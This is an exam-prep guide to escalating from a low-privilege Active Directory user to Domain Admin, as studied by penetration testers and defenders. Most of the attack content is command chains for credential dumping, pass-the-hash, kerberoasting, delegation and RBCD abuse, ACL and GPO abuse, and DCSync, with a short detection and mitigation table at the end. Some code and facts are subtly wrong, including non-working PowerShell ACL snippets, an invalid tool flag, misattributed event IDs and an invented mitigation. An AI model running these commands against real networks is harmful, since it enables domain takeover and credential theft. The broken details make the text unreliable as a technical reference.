Domain 6Active Directory AttacksCORE

Privilege Escalation Through Lateral Movement

Comprehensive guide to privilege escalation achieved through lateral movement in Active Directory, covering local admin password reuse, delegation abuse, RBCD, ACL exploitation, GPO abuse, and the complete user to domain admin escalation chain.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#Privilege-Escalation#Lateral-Movement#Delegation#RBCD#GPO-Abuse#ACL-Abuse

Privilege Escalation Through Lateral Movement

Table of Contents

  1. How Lateral Movement Enables Privilege Escalation
  2. Local Admin Password Reuse Across Hosts
  3. Finding Local Admin Accounts That Are Also Domain Admins
  4. Escalation Through Constrained Delegation
  5. Escalation Through Resource-Based Constrained Delegation (RBCD)
  6. Escalation Through ACL Abuse
  7. GPO Abuse for Privilege Escalation
  8. User → Local Admin → Domain Admin Chain
  9. Common OSCP Scenarios
  10. Detection and Mitigation
  11. Common Pitfalls and Troubleshooting
  12. OSCP Exam Tips

How Lateral Movement Enables Privilege Escalation

Lateral movement and privilege escalation are deeply interconnected in Active Directory. Moving laterally is often the means to achieve higher privileges.

The Escalation Funnel

┌─────────────────────────────────────────────────────────┐
│  Initial Access: Low-Privilege Domain User               │
│  (Standard user, minimal permissions)                    │
└─────────────────────┬───────────────────────────────────┘
                      │ Lateral Movement
                      ▼
┌─────────────────────────────────────────────────────────┐
│  Local Admin on Workstation/Server                      │
│  (Credential dumping, token manipulation)                │
└─────────────────────┬───────────────────────────────────┘
                      │ Credential Harvesting
                      ▼
┌─────────────────────────────────────────────────────────┐
│  Higher-Privilege Account                                │
│  (Server admin, group policy editor, delegated admin)    │
└─────────────────────┬───────────────────────────────────┘
                      │ ACL Abuse / Delegation
                      ▼
┌─────────────────────────────────────────────────────────┐
│  Domain Admin / Enterprise Admin                         │
│  (Full domain control, DCSync, Golden Ticket)            │
└─────────────────────────────────────────────────────────┘

Why Lateral Movement = Escalation Vector

Lateral Movement Action Escalation Outcome
Access workstation where DA logged in Steal DA credentials via Mimikatz
Become local admin on server Dump SAM, find cached credentials
Access file shares Find password files, configs, scripts
Control computer object RBCD → impersonate any user
Modify GPO Add self to privileged groups
ACL abuse on user object Inject SPN → Kerberoast → Crack
Session impersonation Inherit DA privileges via DCOM

Local Admin Password Reuse Across Hosts

The Problem

Many organizations reuse the same local administrator password across multiple machines. If you compromise one host, you can move to others.

Detection and Exploitation

# Step 1: Obtain local admin credentials from compromised host
# Via Mimikatz
mimikatz # sekurlsa::logonpasswords
# Look for local admin accounts

# Step 2: Test credentials on other hosts
# Via PsExec
psexec \\HOST2 -u HOST2\Administrator -p 'ReusedPassword' cmd
psexec \\HOST3 -u HOST3\Administrator -p 'ReusedPassword' cmd
psexec \\HOST4 -u HOST4\Administrator -p 'ReusedPassword' cmd

# Via CrackMapExec
cme smb 10.10.10.0/24 -u Administrator -p 'ReusedPassword' --local-auth

# Step 3: If successful, dump more credentials
cme smb COMPROMISED_HOST -u Administrator -p 'ReusedPassword' --sam

Automated Local Admin Testing

# Test common local admin names
cme smb 10.10.10.0/24 -u 'Administrator,admin,localadmin' -p 'Password123!' --local-auth

# Test with hash
cme smb 10.10.10.0/24 -u Administrator -H NTHASH --local-auth

# CrackMapExec with wordlist for local passwords
cme smb 10.10.10.0/24 -u Administrator -p passwords.txt --local-auth

Common Local Admin Account Names

Account Name Common In Notes
Administrator All Windows Default built-in admin
admin Custom deployments Common alternative
localadmin Security-conscious orgs Renamed admin account
svc_admin Service accounts Shared service admin
backup_admin Backup systems Backup service account

Finding Local Admin Accounts That Are Also Domain Admins

The Scenario

A domain admin account is also a member of the local Administrators group on workstations and servers. If you find a DA who has an active session on a machine you control, you can impersonate them.

Detection Methods

# Method 1: Check local admin groups via WMI
Get-WmiObject -Class Win32_GroupUser -ComputerName TARGET | Where-Object {$_.GroupComponent -like '*Administrators*'}

# Method 2: Use net command
psexec \\TARGET -u user -p pass "net localgroup administrators"

# Method 3: CrackMapExec
cme smb TARGET -u user -p pass --local-groups

# Method 4: BloodHound
# Look for: DA_User → MemberOf → Domain Admins
# And: DA_User → HasSession → TARGET_COMPUTER
# If you have: Your_User → AdminTo → TARGET_COMPUTER
# You can impersonate DA_User

# Method 5: Enumerate sessions
cme smb TARGET -u user -p pass --sessions

Exploitation: Session Impersonation

# Step 1: Verify DA has session on target
# BloodHound shows: DA_User → HasSession → TARGET_COMPUTER

# Step 2: Use DCOM to impersonate
# Via Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:DA_User /domain:DOMAIN /ntlm:HASH /run:"psexec \\DC cmd"

# Via Rubeus (if you have DA's TGT)
Rubeus.exe ptt /ticket:BASE64_TGT

# Step 3: Use impersonated credentials
klist tickets
psexec \\DC_HOST cmd

Finding DA Sessions via BloodHound

# Find all users with sessions on computers you admin
MATCH (you:User {name:'YOUR_USER@DOMAIN.LOCAL'})-[:AdminTo]->(c:Computer)<-[:HasSession]-(da:User)
WHERE da.name CONTAINS 'ADMIN' OR da.name CONTAINS 'DA'
RETURN you, c, da

# Find DAs with sessions anywhere
MATCH (da:User)-[:MemberOf]->(:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})
MATCH (da)-[:HasSession]->(c:Computer)
RETURN da, c

Escalation Through Constrained Delegation

Understanding Constrained Delegation

Constrained delegation allows an account to impersonate users to specific services on specific computers.

Prerequisites

  • Control of an account with constrained delegation rights
  • Knowledge of the target service (SPN)

Exploitation Steps

# Step 1: Identify delegated accounts
# BloodHound: Look for AllowedToDelegate edges
# Or via PowerShell
Get-ADUser -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object {$_.msDS-AllowedToDelegateTo -ne $null}

# Step 2: Compromise the delegated account
# (via password cracking, credential dumping, etc.)

# Step 3: Request TGT for the delegated account
Rubeus.exe asktgt /user:DelegatedAccount /rc4:NTHASH /ptt

# Step 4: Use S4U to request service ticket for target
Rubeus.exe s4u /user:DelegatedAccount /msds-apsn:TARGET_COMPUTER$ /service:cifs/TARGET_HOST /impersonateuser:Administrator /ptt

# Step 5: Use the ticket for lateral movement
psexec \\TARGET_HOST cmd

# Via Impacket
getST.py DOMAIN/DelegatedAccount:password -spn cifs/TARGET_HOST -impersonate Administrator
export KRB5CCNAME=TICKET.ccache
psexec.py -k -no-pass DOMAIN/Administrator@TARGET_HOST

Common Target SPNs

SPN Service Port
cifs/TARGET_HOST SMB/File Sharing 445
host/TARGET_HOST Kerberos/Host N/A
HTTP/TARGET_HOST IIS/Web 80/443
MSSQLSvc/TARGET_HOST SQL Server 1433
WSMAN/TARGET_HOST WinRM 5985/5986
ldap/DC_HOST LDAP 389/636
RestrictedKrbHost/TARGET Restricted Kerberos N/A

Escalation Through Resource-Based Constrained Delegation (RBCD)

Understanding RBCD

RBCD (introduced in Windows Server 2012) allows a computer account to be delegated to act on behalf of users to another computer. The key insight: anyone with write access to a computer object can add themselves to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

Prerequisites

  • Write access (GenericAll, GenericWrite, or WriteDACL) to a computer object
  • Ability to create a new computer account (or control an existing one)

Exploitation Steps

# Step 1: Create a computer account you control
Import-Module ActiveDirectory
$computerPass = ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force
New-ADComputer -Name "AttackerPC" -AccountPassword $computerPass -Enabled $true

# Step 2: Verify you have write access to the target computer
# BloodHound shows: Your_User → GenericAll/GenericWrite → TARGET_COMPUTER

# Step 3: Add your computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Method A: Using PowerShell
$targetComputer = Get-ADComputer "TARGET_COMPUTER"
$attackerComputer = Get-ADComputer "AttackerPC"
$sd = Get-ADComputer "TARGET_COMPUTER" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
$sdValue = $sd."msDS-AllowedToActOnBehalfOfOtherIdentity"

# Create the ACE
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $attackerComputer.ObjectIdentifier,
    [System.Security.AccessControl.AccessRights]::GenericAll,
    "Allow",
    [System.Guid]::NewGuid(),  # ObjectType: All
    [System.Guid]::Empty,      # InheritedObjectType
    [System.Security.AccessControl.InheritanceFlags]::None
)

# Method B: Using rbcd.py (Impacket)
python rbcd.py -action write -device AttackerPC -target-device TARGET_COMPUTER DOMAIN/user:password

# Step 4: Use RBCD to impersonate any user
# Via Rubeus
Rubeus.exe s4u /user:AttackerPC$ /rc4:COMPUTER_HASH /impersonateuser:Administrator /msds-apsn:TARGET_COMPUTER /ptt

# Via Impacket
getST.py DOMAIN/AttackerPC$:P@ssw0rd! -spn cifs/TARGET_COMPUTER -impersonate Administrator
export KRB5CCNAME=TICKET.ccache
psexec.py -k -no-pass DOMAIN/Administrator@TARGET_COMPUTER

# Step 5: Clean up (optional)
# Remove the ACE from msDS-AllowedToActOnBehalfOfOtherIdentity
python rbcd.py -action clean -device AttackerPC -target-device TARGET_COMPUTER DOMAIN/user:password

RBCD via CrackMapExec

# Check RBCD opportunities
cme smb TARGET_COMPUTER -u user -p pass -M rbcd

# Execute RBCD attack
cme smb TARGET_COMPUTER -u user -p pass -M rbcd -a write

Why RBCD Is Powerful

Feature Description
No password needed Computer account password is sufficient
Impersonate anyone Including Domain Admins
Any service CIFS, HTTP, LDAP, MSSQL, etc.
Hard to detect Legitimate-looking AD modification
Common misconfiguration Many users have write access to computer objects

Escalation Through ACL Abuse

ACL Abuse Types

ACL Right What It Allows Escalation Path
GenericAll Full control Modify any property, including SPN
GenericWrite Modify properties SPN injection, description change
WriteDACL Modify ACL Grant yourself any right
WriteOwner Change owner Take ownership → full control
ForceChangePassword Reset password Take over the account
AddMember Add to group Join privileged group
AllExtendedRights All extended rights Any extended operation
WriteSPN Modify SPN Enable kerberoasting

GenericAll/GenericWrite Exploitation

# Step 1: Inject SPN into target user
Import-Module ActiveDirectory
Set-ADUser -Identity TargetUser -ServicePrincipalNames @{Add="VulnService/whatever"}

# Step 2: Kerberoast the target
Rubeus.exe kerberoast /user:TargetUser /format:hashcat /outfile:target_hash.txt

# Step 3: Crack the hash
hashcat -m 13100 target_hash.txt wordlist.txt

# Step 4: Use cracked credentials
psexec \\TARGET_HOST -u DOMAIN\TargetUser -p CrackedPassword cmd

WriteDACL Exploitation

# Step 1: Use WriteDACL to grant yourself GenericAll on target
Import-Module ActiveDirectory
$target = Get-ADUser TargetUser
$attacker = Get-ADUser AttackerUser
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $attacker.SecurityIdentifier,
    "GenericAll",
    "Allow"
)
$target.ObjectAccess.AddAccessRule($ace)
$target.CommitChanges()

# Step 2: Now use GenericAll rights (see above)
Set-ADUser -Identity TargetUser -ServicePrincipalNames @{Add="VulnService/whatever"}

WriteOwner Exploitation

# Step 1: Take ownership of target object
Import-Module ActiveDirectory
$target = Get-ADUser TargetUser
$attacker = Get-ADUser AttackerUser
$target | Set-Acl -AclObject (New-Object System.Security.AccessControl.CommonAcl)
# Set owner to attacker
$target.Owner = $attacker.SID

# Step 2: Now you have full control
# Use GenericAll exploitation (see above)

ForceChangePassword Exploitation

# Step 1: Reset target's password
Import-Module ActiveDirectory
$newPass = ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force
Set-ADAccountPassword -Identity TargetUser -Reset -NewPassword $newPass

# Step 2: Enable account if disabled
Enable-ADAccount -Identity TargetUser

# Step 3: Use new credentials
psexec \\TARGET_HOST -u DOMAIN\TargetUser -p 'NewP@ssw0rd!' cmd

AddMember Exploitation

# Step 1: Add yourself to privileged group
Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Domain Admins" -Members AttackerUser

# Step 2: Force group policy refresh
gpupdate /force

# Step 3: Re-authenticate (log off/on or use runas)
runas /user:DOMAIN\AttackerUser "cmd /k whoami"

# Step 4: Use DA privileges
psexec \\DC_HOST -u DOMAIN\AttackerUser -p Password cmd

GPO Abuse for Privilege Escalation

GPO Attack Vectors

GPO Right Attack Method Result
GenericAll on GPO Modify GPO settings Full GPO control
GenericWrite on GPO Modify GPO properties Change GPO configuration
Edit Security Settings Modify restricted groups Add self to local admins
ApplyGroupPolicy Target computers affected Plan attack scope

Attack 1: Restricted Groups

# Step 1: Identify GPOs you can modify
# BloodHound: Your_User → GenericAll → GPO → ApplyGroupPolicy → TARGET_COMPUTER

# Step 2: Modify GPO to add yourself as local admin
Import-Module GroupPolicy
$gpo = Get-GPO -Name "TargetGPO"

# Via GPO Editor (GUI):
# Computer Configuration → Policies → Windows Settings → Security Settings → Restricted Groups
# Add your account to the Administrators group

# Via PowerShell:
# Modify the GPO's restricted groups extension

Attack 2: Group Policy Preferences (Legacy)

# Step 1: Find GPP files with encrypted passwords
# Search SYSVOL for Groups.xml, Services.xml, ScheduledTasks.xml, Drivers.xml
Get-ChildItem \\DOMAIN\SYSVOL\DOMAIN\Policies\ -Recurse -Filter "Groups.xml"

# Step 2: Decrypt GPP passwords
# GPP passwords use a static key (can be decrypted)
# Use GPPPassword cracker or manual decryption

# The encryption key (well-known):
# 4e9906d89992e698624d9f85c6144d7f326f8b3fa6e5328a91600c10d516a8f0

# Step 3: Use decrypted credentials for lateral movement
psexec \\TARGET_HOST -u DOMAIN\FoundUser -p 'DecryptedPassword' cmd

Attack 3: Scheduled Tasks via GPO

# Step 1: Modify GPO to create a scheduled task
# Computer Configuration → Policies → Windows Settings → Scripts → Startup
# Add a script that runs your payload

# Step 2: The task runs on all computers the GPO applies to
# When the target computer processes the GPO, your script executes as SYSTEM

Attack 4: Registry Modifications via GPO

# Step 1: Modify GPO registry preferences
# Computer Configuration → Preferences → Windows Settings → Registry
# Add registry keys that facilitate access

# Step 2: Examples:
# - Enable WinRM remotely
# - Add scheduled tasks
# - Modify firewall rules
# - Create service accounts

GPO Abuse via PowerShell

# Full GPO abuse workflow
Import-Module GroupPolicy, ActiveDirectory

# Find GPOs you can edit
$gpos = Get-GPO -All | Where-Object {
    $acl = Get-Acl "GPOLayer:\Domain System\Group Policy\$($_.Id)"
    $acl.Access | Where-Object {
        $_.IdentityReference -like "*YourUser*" -and
        ($_.FileSystemRights -like "*FullControl*" -or
         $_.FileSystemRights -like "*Write*")
    }
}

# Modify a GPO
$targetGPO = Get-GPO -Name "VulnerableGPO"
# Add restricted group, scheduled task, or registry modification

User → Local Admin → Domain Admin Chain

The Complete Escalation Chain

Step 1: Initial Foothold
├── Compromise low-privilege user account
├── Credentials: DOMAIN\lowuser:Password123
└── Access: Standard domain user

Step 2: Reconnaissance
├── Enumerate domain structure
├── Find where lowuser has elevated rights
├── BloodHound: Shortest path to DA
└── CME: Share enumeration, local admin check

Step 3: First Lateral Movement
├── lowuser → Local Admin on WORKSTATION01
├── psexec \\WORKSTATION01 -u lowuser -p Password123 cmd
├── Mimikatz: Dump credentials
└── Found: SERVER_ADMIN credentials

Step 4: Second Lateral Movement
├── SERVER_ADMIN → Local Admin on FILESERVER01
├── psexec \\FILESERVER01 -u SERVER_ADMIN -p ServerPass cmd
├── Find sensitive files, configs, more credentials
└── Found: GPO Editor credentials

Step 5: GPO/ACL Abuse
├── GPO Editor → GenericAll on CriticalGPO
├── Modify GPO to add self to Domain Admins
├── Wait for GPO refresh (or force on target)
└── Now member of Domain Admins

Step 6: Domain Dominance
├── DCSync attack
├── secretsdump.py DOMAIN/new_da_user:Password@DC
└── Full domain control

Detailed Command Chain

# Step 1: Initial access
cme smb 10.10.10.0/24 -u lowuser -p Password123

# Step 2: Find where lowuser is local admin
cme smb 10.10.10.0/24 -u lowuser -p Password123 --local-auth

# Step 3: Dump credentials from admin host
cme smb WORKSTATION01 -u lowuser -p Password123 --sam
# Found: SERVER_ADMIN:$HASH$

# Step 4: Use SERVER_ADMIN hash
cme smb 10.10.10.0/24 -u SERVER_ADMIN -H NTHASH --local-auth

# Step 5: Access file server
cme smb FILESERVER01 -u SERVER_ADMIN -H NTHASH --shares
cme smb FILESERVER01 -u SERVER_ADMIN -H NTHASH -M spider_plus

# Step 6: Find GPO edit rights (BloodHound)
# lowuser → GenericAll → GPO → ApplyGroupPolicy → DC

# Step 7: Modify GPO
# Add self to Domain Admins via restricted groups

# Step 8: DCSync
cme smb DC -u lowuser -p Password123 --dcsync -u-target krbtgt

Common OSCP Scenarios

Scenario 1: Password Reuse Chain

User A (workstation) → Same password → Local Admin on Server B →
Credential dump → Server Admin → Domain Admin session on Server C →
Mimikatz → DA credentials → DCSync

Key Commands:

# Test password reuse
cme smb 10.10.10.0/24 -u Administrator -p 'FoundPassword' --local-auth

# Dump credentials
cme smb SERVER_B -u Administrator -p 'FoundPassword' --sam

# Follow the chain
cme smb 10.10.10.0/24 -u ServerAdmin -H NEW_HASH

Scenario 2: ACL Misconfiguration

User A → GenericWrite on User B → SPN injection → Kerberoast →
Crack hash → User B is in Privileged Group → AdminTo Server C →
Credential dump → DA credentials

Key Commands:

# Inject SPN
Set-ADUser UserB -ServicePrincipalNames @{Add="custom/spn"}

# Kerberoast
Rubeus.exe kerberoast /user:UserB /format:hashcat /outfile:userb.txt

# Crack
hashcat -m 13100 userb.txt wordlist.txt

# Use cracked creds
psexec \\SERVER_C -u DOMAIN\UserB -p CrackedPassword cmd

Scenario 3: RBCD to Domain Admin

User A → GenericAll on Computer B → Create AttackerPC →
RBCD on Computer B → Impersonate DA → DCSync

Key Commands:

# Create computer
python rbcd.py -action write -device AttackerPC -target-device ComputerB DOMAIN/user:pass

# Impersonate DA
getST.py DOMAIN/AttackerPC$:Password -spn cifs/ComputerB -impersonate Administrator

# DCSync
psexec.py -k -no-pass DOMAIN/Administrator@DC --dc-sync

Scenario 4: GPO Restricted Groups

User A → GenericAll on GPO → Modify Restricted Groups →
Add self to DA group → GPO applies → Domain Admin

Key Commands:

# Modify GPO
Import-Module GroupPolicy
# Add restricted group via GPO editor or PowerShell

# Force update on target
psexec \\TARGET -u user -p pass "gpupdate /force"

# Re-authenticate
runas /user:DOMAIN\UserA "cmd /k net user /domain"

Detection and Mitigation

Detection Indicators

Event ID Description Escalation Activity
4624 Successful logon Unusual logon types/sources
4648 Explicit credential logon PsExec, runas activity
4672 Special privileges assigned Admin privilege usage
4768/4769 Kerberos ticket requests S4U, delegation attacks
4771 Kerberos preauth failure Hash cracking, spraying
5136 AD object modified ACL changes, SPN injection
4742 Computer account created RBCD setup
4765 RBCD modification msDS-AllowedToAct changes
4728 Member added to group AddMember abuse
4719 Audit policy changes GPO modification
Sysmon 1 Process creation Mimikatz, PsExec, Rubeus
Sysmon 3 Network connection Lateral movement traffic
Sysmon 10 Process access Credential dumping (LSASS access)

Mitigation Strategies

Strategy Implementation Prevents
LAPS Randomize local admin passwords Password reuse across hosts
Credential Guard Enable via GPO Credential dumping (Mimikatz)
AdminSDHolder Protect privileged groups ACL abuse on DA accounts
Restricted Kerberos Enable on computer objects RBCD abuse
PPL (Protected Process) Enable LSASS protection LSASS credential dumping
Network Segmentation VLANs, firewalls Lateral movement paths
Just-In-Time Admin Elevate on demand Persistent admin access
Privileged Access Workstations Dedicated admin devices Credential theft from workstations
MFA for Admin Multi-factor authentication Stolen credential usage
Regular ACL Audit BloodHound, custom scripts ACL misconfigurations

Common Pitfalls and Troubleshooting

Issue Cause Solution
RBCD fails Restricted Kerberos enabled Check msDS-AllowedToActOnBehalfOfOtherIdentity
Kerberoast returns nothing No SPN set Verify SPN: Get-ADUser -SPN
GPO doesn’t apply Wrong link/enforcement Check GPO link: Get-GPOReport
DCSync denied No DCSync rights Replicate Directory Changes permission needed
S4U fails Account not delegated Verify msDS-AllowedToDelegateTo
Mimikatz empty Credential Guard/PPL Try WDigest, cached creds, or Kerberos tickets
PsExec access denied UAC remote restriction Use service creation or admin shares
BloodHound no paths Insufficient data Run full collection with DCOM
Hash doesn’t work SMB signing required Use Kerberos auth instead of PtH

OSCP Exam Tips

  1. Always dump credentials after lateral movement — Every new host is a potential credential source
  2. Check for password reuse immediately — Test found passwords against other hosts
  3. BloodHound is your roadmap — Run it early, follow the shortest path
  4. RBCD is a common OSCP scenario — If you have write access to a computer object, try RBCD
  5. GPO abuse is often the key — Look for GPOs you can modify to escalate
  6. The chain matters — Document each hop: User A → Host B → Credential C → Host D → DA
  7. Don’t forget Kerberoasting — Any user with an SPN can be kerberoasted
  8. Local admin ≠ Domain admin — But local admin on the right host can lead to DA
  9. Use CrackMapExec for the chain — CME accelerates the credential testing phase
  10. DCSync is your endgame — Once you have DA or DCSync rights, use it to get all hashes
  11. Clean up behind you — Remove created computer accounts, restore ACLs if possible
  12. Time management — Don’t get stuck on one path; if BloodHound shows multiple paths, try the shortest one first